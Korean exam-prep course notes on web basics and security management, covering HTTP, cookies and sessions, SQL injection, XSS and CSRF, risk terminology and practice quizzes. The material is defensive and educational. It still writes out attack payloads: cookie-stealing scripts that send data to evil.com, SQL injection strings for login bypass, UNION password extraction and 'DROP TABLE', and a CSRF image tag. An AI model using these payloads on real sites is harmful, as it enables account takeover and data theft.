Week 04 · 웹 기초와 보안관리 입문

Day 1 · HTTP 기초

1. 웹은 "주문서와 영수증" 주고받기

브라우저가 웹 서버에 요청(Request) 이라는 주문서를 보내면, 서버는 응답(Response) 이라는 영수증(+ 물건)을 돌려준다. 이 주고받는 규칙이 HTTP(HyperText Transfer Protocol)다.

HTTP는 텍스트로 된 규칙이라 사람이 읽을 수 있다. 그래서 공격자도 요청을 마음대로 고쳐서 보낼 수 있다. 웹 보안의 출발점이 바로 이것이다: "클라이언트가 보낸 건 전부 조작될 수 있다."

• 기본 포트: HTTP 80, HTTPS 443 (TCP 위에서 동작)
• 무상태(Stateless): 서버는 요청과 요청 사이를 기억하지 않는다. 각 요청이 독립적이다. (→ 그래서 Day 2의 쿠키·세션이 필요)

2. URL 구조

https://user@www.shop.com:8443/board/view.php?id=7&page=2#reply 를 쪼개 보면:

• URL에 쓸 수 없는 문자는 퍼센트 인코딩한다: 공백 → %20, ' → %27, < → %3C. 공격자가 필터를 우회할 때 자주 쓰는 방법이니 눈에 익혀 두자.

3. HTTP 요청 구조 (원문)

GET /board/view.php?id=7 HTTP/1.1          ← 요청 라인: 메서드 경로 버전
Host: www.shop.com                         ← 헤더 시작
User-Agent: Mozilla/5.0 (Windows NT 10.0)
Referer: https://www.shop.com/board/list
Cookie: SESSIONID=a8f3k2...
Accept: text/html
                                           ← 빈 줄 (헤더 끝)
(GET은 보통 바디 없음)

로그인처럼 데이터를 보낼 때(POST):

POST /login HTTP/1.1
Host: www.shop.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 24

id=admin&pw=P%40ssw0rd

• 구조: 요청 라인 → 헤더들 → 빈 줄 → 바디.
• POST의 파라미터는 URL이 아니라 바디에 있다. 그러나 암호화된 건 아니다! HTTPS가 아니면 POST 바디도 그대로 보인다.

4. HTTP 응답 구조 (원문)

HTTP/1.1 200 OK                            ← 상태 라인: 버전 코드 문구
Date: Mon, 30 Nov 2026 01:00:00 GMT
Server: Apache/2.4.41 (Ubuntu)             ← 버전 노출 = 정보 노출
Content-Type: text/html; charset=UTF-8
Content-Length: 1532
Set-Cookie: SESSIONID=a8f3k2; Secure; HttpOnly

<html>
  <body>게시글 내용...</body>
</html>

5. HTTP 메서드

안전 vs 멱등 — 개념 정리

• 안전(Safe): 서버 상태를 바꾸지 않는 메서드. "읽기 전용". (GET, HEAD, OPTIONS, TRACE)
• 멱등(Idempotent): 여러 번 해도 한 번 한 것과 결과가 같은 메서드.
  • DELETE /post/7 을 3번 해도 결과는 "7번 글 없음" → 멱등
  • PUT /post/7 {내용} 을 3번 해도 같은 내용으로 덮어씀 → 멱등
  • POST /post {내용} 을 3번 하면 글이 3개 생김 → 멱등 아님
• 모든 안전 메서드는 멱등이지만, 멱등이라고 안전한 건 아니다(PUT, DELETE).

GET vs POST 비교

6. 상태 코드

7. 주요 헤더

Referer는 원래 영어 철자 Referrer의 오타가 표준이 된 것이다. 시험에서도 Referer로 쓴다.

8. HTTPS — HTTP에 TLS 자물쇠 달기

HTTPS = HTTP over TLS. HTTP 내용 자체는 같고, 그 아래에 TLS 암호 터널을 깐 것이다.

sequenceDiagram
    participant B as 브라우저
    participant S as 웹 서버
    B->>S: ClientHello (지원 암호 목록, 난수)
    S->>B: ServerHello + 서버 인증서
    B->>B: 인증서 체인·도메인·유효기간 검증
    B->>S: 키 교환 (세션키 합의)
    Note over B,S: 이후 HTTP 요청·응답 전체가
세션키로 암호화되어 오감
    B->>S: GET /mypage (암호화됨)
    S->>B: 200 OK (암호화됨)

• 암호 원리는 Week03의 하이브리드 암호 + 인증서 체인 그대로다.
• HSTS(Strict-Transport-Security 헤더): 브라우저에게 "앞으로 이 사이트는 무조건 HTTPS로만 접속해"라고 알려 SSL Stripping(HTTPS→HTTP 강등) 공격을 막는다.

⚠️ 시험 함정

• POST도 암호화가 아니다. 보이지 않을 뿐, HTTPS 없으면 평문이다.
• TRACE → XST, 비활성화 대상. PUT/DELETE도 불필요하면 비활성화.
• 401(인증 필요) vs 403(권한 없음) 바꿔 낸 보기.
• 4xx는 클라이언트 잘못, 5xx는 서버 잘못.
• URL의 #프래그먼트는 서버로 가지 않는다. (DOM 기반 XSS가 여기서 일어나 서버 로그에 안 남는 이유)
• 멱등 ≠ 안전. PUT·DELETE는 멱등이지만 안전하지 않다. POST는 둘 다 아님.
• HTTPS 사이트라고 피싱이 아닌 것은 아니다. 자물쇠는 "통신이 암호화됨 + 그 도메인의 인증서"일 뿐이다.

기출 포인트

• 비활성화해야 할 HTTP 메서드(TRACE, PUT, DELETE 등)와 그 이유를 묻는 문제가 자주 나온다.
• 상태 코드의 의미 매칭(특히 401/403/404/500, 3xx 리다이렉트).
• GET과 POST의 차이, GET으로 민감정보를 보내면 안 되는 이유.
• 헤더 이름과 역할 매칭 — Referer, Set-Cookie, Host, Location.
• HTTPS(SSL/TLS)가 제공하는 보안 서비스와 한계.

확인 문제

Q1. 클라이언트가 보낸 요청을 그대로 되돌려 주는 기능 때문에 XST 공격에 악용될 수 있어 비활성화가 권고되는 메서드는?
① GET ② HEAD ③ TRACE ④ OPTIONS

Q2. 로그인하지 않은 사용자가 회원 전용 페이지에 접근했을 때 "인증이 필요함"을 의미하는 상태 코드는?
① 200 ② 302 ③ 401 ④ 403

Q3. 다음 중 멱등(Idempotent)하지 않은 메서드는?
① GET ② PUT ③ DELETE ④ POST

Q4. GET 방식으로 비밀번호를 전송하면 안 되는 이유로 가장 적절한 것은?
① GET은 TCP가 아닌 UDP를 사용하기 때문에
② 파라미터가 URL에 포함되어 로그·브라우저 기록·Referer 등에 남기 때문에
③ GET 요청은 서버에서 처리할 수 없기 때문에
④ GET 요청은 HTTPS로 보낼 수 없기 때문에

Q5. HTTPS 적용으로 얻을 수 있는 효과가 아닌 것은?
① 전송 데이터 도청 방지 ② 전송 중 데이터 변조 탐지 ③ 서버 신원 확인 ④ 웹 애플리케이션의 SQL Injection 방지

Day 2 · 쿠키와 세션

1. 왜 필요한가 — 기억력 없는 서버

HTTP는 무상태(Stateless) 라서, 방금 로그인한 사람이 다음 페이지를 요청해도 서버는 "처음 보는 사람"으로 취급한다. 페이지마다 비밀번호를 다시 칠 수는 없다.

그래서 서버가 브라우저에 "너는 3번 손님" 번호표를 주고, 브라우저는 다음 요청마다 그 번호표를 보여 준다. 이 번호표를 저장·전달하는 수단이 쿠키, 번호에 해당하는 손님 정보를 서버가 보관하는 것이 세션이다.

비유: 대중목욕탕 옷장 열쇠. 손님은 열쇠(세션ID)만 들고 다니고, 옷과 지갑(사용자 정보)은 목욕탕(서버)의 옷장에 있다. 열쇠를 남이 주우면 내 옷장을 연다 → 세션 하이재킹.

2. 쿠키 vs 세션

3. 세션 로그인 흐름

sequenceDiagram
    participant B as 브라우저
    participant S as 서버
    participant ST as 세션 저장소
    B->>S: POST /login (id, pw)
    S->>S: 비밀번호 검증 OK
    S->>ST: 세션 생성 a8f3 → user=kim, role=user
    S->>B: 302 + Set-Cookie: SESSIONID=a8f3
    B->>S: GET /mypage (Cookie: SESSIONID=a8f3)
    S->>ST: a8f3 조회 → kim
    S->>B: 200 kim의 마이페이지
    B->>S: GET /logout
    S->>ST: a8f3 삭제 (서버 측 무효화)

• 로그아웃 시 서버에서 세션을 삭제해야 한다. 브라우저 쿠키만 지우면, 이미 탈취된 세션ID는 여전히 유효하다.

4. Set-Cookie와 쿠키 속성

Set-Cookie: SESSIONID=a8f3k2Qx9...; Domain=shop.com; Path=/;
            Max-Age=1800; Secure; HttpOnly; SameSite=Lax

SameSite 값

실습 — HttpOnly 확인

브라우저 개발자 도구 콘솔에서 document.cookie를 실행하면, HttpOnly가 없는 쿠키만 문자열로 보인다. HttpOnly 쿠키는 브라우저가 요청에는 붙여 보내지만 스크립트에는 보여 주지 않는다.

// XSS 공격 스크립트의 전형
new Image().src = "https://evil.com/steal?c=" + document.cookie;
// → HttpOnly면 세션 쿠키가 빠진 빈 값만 전송됨

5. 세션 하이재킹 (Session Hijacking)

남의 세션ID를 훔쳐서 그 사람으로 행세하는 공격. 비밀번호를 몰라도 된다.

• 보조 대책: 중요 기능(비밀번호 변경, 송금) 전에 재인증, 세션과 접속 IP·User-Agent 변화 감시.
• 네트워크 계층의 TCP 세션 하이재킹(시퀀스 번호 예측)과 웹 세션 하이재킹은 다르다. TCP 쪽은 Week07_네트워크 보안.

6. 세션 고정 (Session Fixation)

하이재킹은 "훔치는" 것, 고정은 "미리 정해 주는" 것이다.

sequenceDiagram
    participant A as 공격자
    participant V as 피해자
    participant S as 서버
    A->>S: 1. 사이트 접속 → 세션ID XYZ 받음(비로그인)
    A->>V: 2. 세션ID=XYZ가 박힌 링크/쿠키를 피해자에게 심음
    V->>S: 3. XYZ를 가진 채로 로그인
    S->>S: 4. (취약) 세션ID를 그대로 XYZ 유지 → XYZ = 피해자 로그인 상태
    A->>S: 5. 공격자도 XYZ로 접속 → 피해자 계정 사용

• 핵심 대응: 로그인 성공 시 세션ID를 새로 발급(재생성)하고 기존 ID는 폐기. 그러면 공격자가 심어 둔 XYZ는 쓸모없어진다.
• 추가: URL 파라미터로 오는 세션ID를 받아들이지 않기.

⚠️ 시험 함정

• HttpOnly = XSS 쿠키 탈취 방지, Secure = HTTPS에서만 전송. 둘을 바꾼 보기 단골.
• HttpOnly는 XSS 자체를 막지 못한다. 스크립트는 여전히 실행되고, 쿠키 읽기만 막는다.
• SameSite=None은 Secure와 함께여야 한다.
• 세션 고정 대응은 "로그아웃 시 세션 삭제"가 아니라 "로그인 시 세션ID 재발급".
• 세션 데이터는 서버에, 쿠키는 클라이언트에. "세션은 브라우저에 저장된다" → 틀림.
• Domain 속성을 지정하면 하위 도메인까지 넓어진다(더 넓음). 생략이 더 좁다.

기출 포인트

• 쿠키 보안 속성과 막아 주는 공격 매칭(Secure-스니핑, HttpOnly-XSS, SameSite-CSRF)이 가장 많이 나온다.
• 세션 고정 공격의 원리와 대응 시점(인증 직후 재발급).
• 쿠키와 세션의 저장 위치·보안성 비교.
• 세션 관리 취약점(예측 가능한 ID, 타임아웃 미설정, 로그아웃 후 세션 유지) 점검 항목.

확인 문제

Q1. XSS 공격으로 스크립트가 실행되더라도 document.cookie를 통해 세션 쿠키를 읽지 못하게 하는 속성은?
① Secure ② HttpOnly ③ Path ④ Expires

Q2. 세션 고정(Session Fixation) 공격에 대한 가장 효과적인 대응은?
① 쿠키에 Expires 속성 지정 ② 로그인 성공 시 새로운 세션ID 발급 ③ 세션ID를 URL 파라미터로 전달 ④ 세션 타임아웃을 길게 설정

Q3. 쿠키와 세션에 대한 설명으로 옳지 않은 것은?
① 세션 방식에서 클라이언트는 주로 세션ID만 보관한다
② 쿠키는 사용자가 값을 조회·수정할 수 있다
③ 세션 데이터는 클라이언트 브라우저에 저장된다
④ 쿠키에 Expires/Max-Age가 없으면 브라우저 종료 시 삭제된다

Q4. SameSite 쿠키 속성이 주로 완화하는 공격은?
① SQL Injection ② CSRF ③ 디렉터리 리스팅 ④ 무차별 대입

Q5. 세션 하이재킹 대응책으로 거리가 먼 것은?
① HTTPS 적용과 Secure 속성 사용 ② 추측하기 어려운 무작위 세션ID 사용 ③ 일정 시간 미사용 시 세션 만료 ④ 세션ID를 연속된 숫자로 발급

Day 3 · SQL 기초 + SQL Injection 원리

1. SQL 기초 — 오늘 필요한 만큼만

웹 사이트의 회원 정보, 게시글, 상품은 대부분 데이터베이스(DB) 의 테이블에 저장된다. 테이블은 엑셀 시트와 비슷하다. 웹 애플리케이션은 SQL이라는 언어로 DB에 질문한다.

예제 테이블 users:

2. SQL Injection이 일어나는 이유

로그인 기능을 이렇게 만들었다고 하자 (Java 예).

String sql = "SELECT * FROM users WHERE id = '" + id
           + "' AND pw = '" + pw + "'";

개발자는 id 자리에 데이터(kim)가 들어올 거라 기대했다. 그런데 사용자가 SQL 문법 조각(', --, OR)을 넣으면, 문자열을 이어 붙이는 순간 데이터가 명령어로 변신한다.

핵심 원인: 사용자 입력(데이터)과 SQL 명령(코드)이 한 문자열로 섞인다.

비유: 은행 창구 신청서의 "이름" 칸에 홍길동. 그리고 금고 문을 열어 줄 것이라고 적었는데, 직원이 신청서 전체를 명령문처럼 그대로 읽고 실행하는 상황이다.

3. 실습 ① 인증 우회 — 주석 이용

입력: ID = admin'-- (끝에 공백), PW = 아무거나

-- 원래 의도
SELECT * FROM users WHERE id = '[ID]' AND pw = '[PW]'

-- 실제로 만들어진 쿼리
SELECT * FROM users WHERE id = 'admin'-- ' AND pw = '아무거나'
                                      └──────── 주석 처리됨 ────────┘
-- DB가 실제 실행하는 부분
SELECT * FROM users WHERE id = 'admin'

1. '가 원래 문자열을 닫아 버린다.
2. -- 가 뒤의 비밀번호 검사를 주석으로 지운다.
3. 결과: admin 행이 반환 → 비밀번호 없이 관리자 로그인.

4. 실습 ② 인증 우회 — 항상 참 조건

입력: ID = ' OR 1=1 --

SELECT * FROM users WHERE id = '' OR 1=1 -- ' AND pw = '...'
→ WHERE id = '' OR 1=1        (1=1은 항상 참)
→ 모든 행 반환 → 앱이 첫 행(보통 admin)으로 로그인 처리

5. SQL Injection 유형별 단계

(1) Error-based — 오류 메시지로 정보 캐기

/product.php?id=3' 처럼 싱글쿼트 하나를 넣는다.

You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax...

• 이 메시지만으로 SQLi가 가능하다는 것 + DBMS 종류(MySQL) 가 드러난다.
• 오류 메시지 안에 테이블명·데이터가 섞여 나오게 유도하는 고급 기법도 있다.
• 대응 포인트: 상세 오류 메시지를 사용자에게 보여 주지 않기 (공통 오류 페이지).

(2) UNION-based — 다른 테이블 끌어오기

원래 쿼리: SELECT name, price FROM products WHERE id = 3 (화면에 상품명·가격 표시)

1단계: 컬럼 수 알아내기
  ?id=3 ORDER BY 2   → 정상
  ?id=3 ORDER BY 3   → 오류  ⇒ 컬럼은 2개

2단계: UNION으로 회원 테이블 붙이기
  ?id=-1 UNION SELECT id, pw FROM users

  실행 쿼리:
  SELECT name, price FROM products WHERE id = -1
  UNION SELECT id, pw FROM users

3단계: 상품 목록 자리에 회원 ID와 비밀번호(해시)가 출력됨

• id=-1은 존재하지 않는 상품으로 원래 결과를 비우기 위한 것이다.
• 숫자형 파라미터는 싱글쿼트가 필요 없어 더 쉽게 뚫린다.

(3) Blind — 결과가 안 보일 때 "예/아니오"로 캐기

화면에 데이터나 오류가 안 나와도, 참/거짓에 따라 페이지가 달라지면 한 글자씩 알아낼 수 있다.

Boolean-based:
  ?id=3 AND 1=1  → 상품 정상 표시 (참)
  ?id=3 AND 1=2  → 상품 없음     (거짓)   ⇒ 주입 가능!

  ?id=3 AND SUBSTRING((SELECT pw FROM users WHERE id='admin'),1,1)='a'
  → 정상이면 첫 글자는 'a', 아니면 'b' 시도… (자동화 도구가 반복)

Time-based:
  ?id=3 AND SLEEP(5)                 (MySQL)
  ?id=3; WAITFOR DELAY '0:0:5'       (MS-SQL)
  → 응답이 5초 늦어지면 조건이 참 ⇒ 화면 차이가 전혀 없어도 판별

(4) Stacked Query · 저장 프로시저 악용

• ; DROP TABLE users -- 처럼 문장을 추가해 실행 (DB·드라이버가 다중 문장을 허용할 때).
• MS-SQL의 확장 저장 프로시저 xp_cmdshell 을 호출하면 OS 명령까지 실행될 수 있다 → 서버 장악.

6. 대응 — Prepared Statement가 근본 대책인 이유

Prepared Statement(바인딩 변수, 매개변수화 쿼리)는 SQL 구조를 먼저 확정하고, 입력값은 나중에 순수 데이터로만 끼워 넣는다. 입력에 '나 --가 있어도 그냥 "그런 글자로 된 ID"로 취급될 뿐 문법이 되지 못한다.

문자열 연결 방식:   "... id='" + 입력 + "' ..."  → 입력이 쿼리 문법의 일부가 됨
Prepared 방식:     "... id = ?"  (구조 고정)  +  ?에는 값만 바인딩

Java (JDBC)

// ❌ 취약: 문자열 연결 + Statement
String sql = "SELECT * FROM users WHERE id='" + id + "'";
Statement st = conn.createStatement();
ResultSet rs = st.executeQuery(sql);

// ✅ 안전: PreparedStatement + 바인딩
String sql = "SELECT * FROM users WHERE id = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, id);          // 입력은 '값'으로만 들어감
ResultSet rs = ps.executeQuery();

PHP (PDO)

// ✅ 안전
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $id]);
$user = $stmt->fetch();

대응 전체 목록 (우선순위 순)

1. Prepared Statement (바인딩 변수) — 근본 대책
2. 입력값 검증: 형식 화이트리스트(숫자만, 길이 제한), 특수문자(' " -- ; #) 필터링·이스케이프 — 보조 대책
3. 오류 메시지 노출 금지: 공통 오류 페이지
4. DB 계정 최소 권한: 웹 앱 계정에 DROP·관리 권한 X, xp_cmdshell 같은 위험 프로시저 비활성화
5. 웹 방화벽(WAF): 알려진 패턴 차단 — 우회 가능하므로 보조 대책
6. 비밀번호는 평문이 아니라 솔트+해시로 저장 (유출되어도 피해 축소)

⚠️ 시험 함정

• SQLi 근본 대책은 Prepared Statement. "입력 필터링"이나 "WAF"를 근본 대책으로 고르게 하는 보기 주의 — 필터는 우회 가능.
• 응답 시간 차이 = Time-based Blind, 참/거짓 페이지 차이 = Boolean Blind.
• UNION은 컬럼 수가 같아야 한다. 그래서 먼저 ORDER BY로 컬럼 수를 센다.
• xp_cmdshell은 MS-SQL 확장 프로시저.
• HTTPS나 POST 방식은 SQLi를 막지 못한다.
• 상세 오류 메시지 노출은 그 자체로 정보 노출 취약점이다.

기출 포인트

• 공격 문자열 예시를 보여 주고 어떤 유형의 SQLi인지 묻는 문제가 자주 나온다.
• 로그인 쿼리에 특정 입력을 넣었을 때 최종 쿼리 모양이나 결과를 해석하게 한다.
• SQLi 대응책으로 적절하지 않은 것 고르기.
• 시큐어 코딩 관점에서 Statement vs PreparedStatement 차이, 바인딩 변수의 의미.

확인 문제

Q1. 다음 입력이 로그인 ID 필드에 들어갔을 때 비밀번호 검사가 무력화되는 주된 이유는? admin'--
① UNION으로 다른 테이블을 조회해서
② 싱글쿼트로 문자열을 닫고 뒤의 조건을 주석 처리해서
③ 응답 시간을 지연시켜서
④ 저장 프로시저를 호출해서

Q2. ?id=3 AND 1=1과 ?id=3 AND 1=2의 응답 페이지가 서로 다른 것을 이용해 정보를 알아내는 기법은?
① Error-based SQLi ② UNION-based SQLi ③ Boolean-based Blind SQLi ④ Time-based Blind SQLi

Q3. SQL Injection의 근본적인 대응책으로 가장 적절한 것은?
① 웹 방화벽 도입 ② 클라이언트 측 JavaScript로 특수문자 검사 ③ Prepared Statement(바인딩 변수) 사용 ④ HTTPS 적용

Q4. UNION-based SQL Injection을 시도하기 전 공격자가 ORDER BY 1, ORDER BY 2… 처럼 숫자를 늘려 가며 입력하는 목적은?
① DB 계정의 권한 확인 ② 원래 쿼리의 컬럼 수 파악 ③ 응답 지연 유도 ④ 세션ID 탈취

Q5. 다음 중 SQL Injection 대응으로 적절하지 않은 것은?
① DB 오류 메시지를 사용자에게 그대로 출력
② 웹 애플리케이션 DB 계정에 최소 권한 부여
③ 입력값의 형식과 길이 검증
④ MyBatis에서 ${} 대신 #{} 사용

Day 4 · 웹 공격 3대장 미리보기

1. 큰 그림 — 누가 누구를 속이나

세 공격 모두 "믿으면 안 되는 것을 믿어서" 생긴다. 무엇이 무엇을 잘못 믿는지로 구분하면 헷갈리지 않는다.

2. XSS (Cross-Site Scripting)

공격자가 게시판 등에 스크립트를 심어, 그 페이지를 본 다른 사용자의 브라우저에서 실행되게 하는 공격이다.

예시 — 저장형 XSS

게시글 본문에 다음을 쓰고 등록:

안녕하세요!
<script>
  new Image().src="https://evil.com/c?="+document.cookie;
</script>

서버가 이 내용을 그대로 HTML에 출력하면, 글을 연 모든 사람의 브라우저가 스크립트를 실행해 쿠키를 공격자에게 보낸다.

sequenceDiagram
    participant A as 공격자
    participant S as 게시판 서버
    participant V as 피해자 브라우저
    participant E as evil.com
    A->>S: 1. 스크립트 담은 글 등록
    V->>S: 2. 그 글 열람
    S->>V: 3. 스크립트 포함된 HTML 응답
    V->>V: 4. 브라우저가 스크립트 실행
    V->>E: 5. 쿠키(세션ID) 전송
    E-->>A: 6. 공격자가 세션 하이재킹

대응 — 출력 인코딩

입력:  <script>alert(1)</script>
출력:  &lt;script&gt;alert(1)&lt;/script&gt;
→ 브라우저가 태그가 아닌 "글자"로 화면에 표시

• 그 밖에: 입력값 검증(허용 태그만), HttpOnly(쿠키 탈취 피해 축소), CSP(Content-Security-Policy: 허용된 출처의 스크립트만 실행).

3. CSRF (Cross-Site Request Forgery)

피해자가 로그인된 상태에서 공격자가 만든 페이지를 열면, 그 페이지가 피해자 모르게 원래 사이트로 요청을 보낸다. 브라우저는 그 요청에 자동으로 쿠키를 붙이므로, 서버는 "본인이 보낸 요청"으로 착각한다.

예시 — 은행 비밀번호 변경이 GET /changePw?new=1234로 동작한다면, 공격자 블로그에:

<img src="https://bank.com/changePw?new=hacked123" width="0">

sequenceDiagram
    participant V as 피해자 브라우저
    participant E as 공격자 페이지
    participant B as bank.com
    V->>B: 1. 정상 로그인 (세션 쿠키 보유)
    V->>E: 2. 공격자 페이지 방문
    E->>V: 3. 숨은 img/form 포함 HTML
    V->>B: 4. 자동 요청 + 쿠키 자동 첨부
    B->>B: 5. 정상 사용자 요청으로 처리 → 비밀번호 변경

• 공격자는 응답을 볼 필요가 없다. "상태를 바꾸는 요청"(비밀번호 변경, 송금, 글 작성)만 실행되면 성공.
• 대응:
  1. CSRF 토큰: 폼마다 예측 불가능한 값을 숨겨 넣고 서버가 확인. 공격자 페이지는 이 값을 알 수 없다. (대표 대책)
  2. SameSite 쿠키
  3. 재인증·추가 확인(비밀번호 재입력, CAPTCHA)
  4. Referer/Origin 검증 (보조)
  5. 상태 변경은 GET 대신 POST 등으로 (단독으로는 불충분)

4. 3대장 비교표

5. 실습 · 공격 이름 맞히기

자세한 심화(파일 업로드, SSRF, 경로 조작 등)는 Week09_어플리케이션 보안에서.

⚠️ 시험 함정

• XSS 피해자는 서버가 아니라 다른 사용자(브라우저).
• CSRF는 피해자가 로그인 상태여야 하고, 공격자는 응답을 못 봐도 된다.
• CSRF 대표 대응은 CSRF 토큰. HttpOnly는 CSRF를 막지 못한다(쿠키를 읽을 필요가 없으니까).
• DOM 기반 XSS는 서버 측 필터만으로 탐지가 어렵다.
• XSS 대응의 핵심은 출력 시 인코딩. 입력 필터링만으로는 우회가 많다.
• "XSS = 사용자가 서버를 신뢰", "CSRF = 서버가 사용자를 신뢰" 를 반대로 쓴 보기.

기출 포인트

• XSS와 CSRF의 차이를 서술형 보기로 비교하게 하는 문제가 많다.
• XSS 3유형(저장/반사/DOM)의 구분, 특히 DOM 기반의 특징.
• 각 공격의 대표 대응책 매칭 (토큰, 인코딩, 바인딩).
• 짧은 공격 코드(스크립트 태그, img 태그, SQL 조각)를 보고 공격명을 고르는 형태.

확인 문제

Q1. 다음 중 CSRF 공격의 대표적인 대응책은?
① HttpOnly 쿠키 속성 ② 요청마다 검증하는 예측 불가능한 토큰 ③ Prepared Statement ④ 상세 오류 메시지 출력

Q2. 공격 스크립트가 게시판 DB에 저장되어 게시글을 열람하는 모든 사용자에게 실행되는 공격은?
① 반사형 XSS ② 저장형 XSS ③ DOM 기반 XSS ④ CSRF

Q3. XSS와 CSRF에 대한 설명으로 옳은 것은?
① XSS는 서버가 사용자를 신뢰하는 점을, CSRF는 사용자가 서버를 신뢰하는 점을 악용한다
② CSRF가 성공하려면 피해자가 대상 사이트에 로그인된 상태인 경우가 일반적이다
③ XSS의 주된 피해자는 DB 서버이다
④ HttpOnly 속성은 CSRF를 근본적으로 차단한다

Q4. XSS 대응으로 <를 <로 바꾸어 출력하는 방법은?
① 입력값 암호화 ② 출력 인코딩(이스케이프) ③ 세션 재발급 ④ 바인딩 변수

Day 5 · 보안관리 기본 용어

1. 왜 "관리"가 필요한가

Day 1~4는 "어디가 뚫리는가"였다. 그런데 회사에는 예산이 한정되어 있다. 모든 취약점을 다 막을 수 없으니 무엇을 먼저, 얼마나 막을지 정해야 한다. 이 판단의 언어가 자산·위협·취약점·위험이다.

5과목 문제의 상당수가 이 용어를 정확히 구분하는지를 본다. 일상어처럼 대충 쓰면 틀린다.

2. 6가지 핵심 용어 — 집 도둑 비유

flowchart LR
    T["위협
(해커)"] -->|이용| V["취약점
(SQLi 페이지)"]
    V -->|노출| A["자산
(고객 DB)"]
    A --> R["위험
(유출 가능성 × 피해)"]
    C["대책
(Prepared Statement)"] -->|감소| R
    R --> RR["잔여 위험"]
    RR -->|경영진 판단| ACC["수용"]

3. 위험 공식

정성적 표현 (개념):

위험 = 자산 가치 × 위협 × 취약성
= f(자산, 위협, 취약점)

또는 결과 중심으로:

위험 = 발생 가능성 × 영향(손실 규모)

• 셋 중 하나라도 0이면 위험도 0에 가깝다. 예: 가치 없는 테스트 서버(자산 가치↓) → 위험 낮음.
• 대책은 보통 취약점을 줄이거나(패치) 영향을 줄이는(백업) 방식으로 위험을 낮춘다. 위협 자체(해커의 존재)는 조직이 통제하기 어렵다.

정량적 표현 (금액으로 계산 — 맛보기):

계산 연습

• 서버 가치(AV) 1억 원, 랜섬웨어 1회 시 30% 손실(EF) → SLE = 1억 × 0.3 = 3,000만 원
• 2년에 한 번 발생(ARO 0.5) → ALE = 3,000만 × 0.5 = 1,500만 원/년
• 해석: 이 위험을 줄이는 대책에 연 1,500만 원보다 훨씬 많이 쓰는 건 경제적으로 맞지 않는다. (대책 비용 vs 기대 손실 비교)

4. 위험 처리 전략 4가지 (맛보기)

위험을 평가한 뒤 어떻게 다룰지 정한다. 상세는 Week06_정보보안 관리 및 법규.

5. 실습 · 시나리오로 구분하기

시나리오 A — 쇼핑몰

쇼핑몰의 회원 DB에는 50만 명의 개인정보가 있다. 로그인 페이지가 문자열 연결로 쿼리를 만들고 있고, 최근 이 업종을 노리는 해킹 조직이 활동 중이다. 회사는 Prepared Statement로 코드를 고쳤지만, 아직 알려지지 않은 다른 취약점 가능성은 남아 있어 경영진이 이를 감수하기로 했다.

시나리오 B — 사무실

회계팀 PC에는 급여 파일이 있다. 화면 잠금 설정이 없고, 청소 용역 직원이 야간에 출입한다. 회사는 화면 보호기 암호를 의무화하고, 화재에 대비해 화재보험에 가입했다.

시나리오 C — 헷갈리는 표현 바로잡기

• "약한 비밀번호라는 위협" → ❌ 약한 비밀번호는 취약점
• "랜섬웨어 취약점" → ❌ 랜섬웨어(공격자·악성코드)는 위협, 그것이 노리는 미패치 SMB 등이 취약점
• "고객 신뢰는 자산이 아니다" → ❌ 평판·신뢰도 무형 자산

6. 자산의 가치는 어떻게 매기나

자산 가치는 단순히 구입 가격이 아니라 CIA가 깨졌을 때의 영향으로 평가한다.

• 그래서 1만 원짜리 USB라도 고객정보가 들어 있으면 가치가 큰 자산이다.
• 자산 식별의 첫 단계는 자산 목록(인벤토리) 작성과 소유자(책임자) 지정이다.

⚠️ 시험 함정

• 위협 vs 취약점: 행위자·사건(해커, 지진, 악성코드) = 위협, 약점(미패치, 설정 오류, 교육 부족) = 취약점.
• 위험 = 가능성 × 영향 (또는 자산·위협·취약성의 함수). 위험이 "이미 일어난 사고"는 아니다.
• 잔여 위험은 제거 대상이 아니라 수용 대상. "잔여 위험이 0이 될 때까지 대책 적용" → 틀림.
• 보험 = 위험 전가. 감소나 회피로 분류하는 보기 주의.
• SLE = AV × EF, ALE = SLE × ARO. 공식 섞기 주의.
• 무형 자산(평판, 브랜드, 인력의 노하우)도 자산이다.

기출 포인트

• 자산·위협·취약점·위험의 정의나 관계를 서술한 보기 중 틀린 것을 고르게 한다.
• 시나리오를 주고 특정 요소(예: 취약점)에 해당하는 것을 고르는 유형.
• ALE·SLE 계산 문제가 꾸준히 나온다.
• 위험 처리 전략(감소/회피/전가/수용)의 사례 매칭, 특히 보험 = 전가.

확인 문제

Q1. 다음 중 취약점에 해당하는 것은?
① 퇴사 예정인 악의적 내부자 ② 보안 패치가 적용되지 않은 웹 서버 ③ 지진 ④ 랜섬웨어 유포 조직

Q2. 자산 가치가 2억 원, 노출 계수(EF)가 25%, 연간 발생률(ARO)이 0.2일 때 ALE는?
① 500만 원 ② 1,000만 원 ③ 4,000만 원 ④ 5,000만 원

Q3. 회사가 데이터 유출 사고에 대비해 사이버 보험에 가입했다. 이 위험 처리 방식은?
① 위험 감소 ② 위험 회피 ③ 위험 전가 ④ 위험 수용

Q4. 잔여 위험에 대한 설명으로 가장 적절한 것은?
① 대책을 충분히 적용하면 0으로 만들 수 있다
② 대책 적용 후에도 남는 위험으로, 경영진이 수용 여부를 결정한다
③ 위협이 없는 상태를 의미한다
④ 취약점과 같은 의미이다

Q5. 위험의 구성 요소에 대한 설명으로 옳지 않은 것은?
① 위험은 자산 가치, 위협, 취약성의 함수로 표현할 수 있다
② 취약점이 없더라도 위협만 크면 위험은 항상 최대가 된다
③ 위험은 발생 가능성과 영향의 곱으로 표현하기도 한다
④ 대책은 위험을 감소시키는 수단이다

Day 6 · 대책 유형 · 관리체계 개요

1. 대책(통제)을 두 가지 축으로 분류한다

대책은 "무엇으로 하나"(유형) 와 "언제·어떤 역할을 하나"(기능) 두 축으로 나눈다. 하나의 대책이 두 축에서 각각 하나씩(때로는 여러 개) 분류된다.

비유: 집 보안이라면 — 경고 스티커(억제), 현관 잠금(예방), CCTV(탐지), 도둑 침입 후 경찰 출동(교정), 깨진 창문 수리(복구).

2. 유형별 분류 — 관리적 · 물리적 · 기술적

3. 기능별 분류

시간 흐름으로 보면:
 사고 전          사고 순간         사고 후
 [억제][예방] ──▶ [탐지] ──────▶ [교정] ──▶ [복구]
   (보완: 위 통제가 불가능할 때 대체)

4. 실습 · 대책 분류 연습

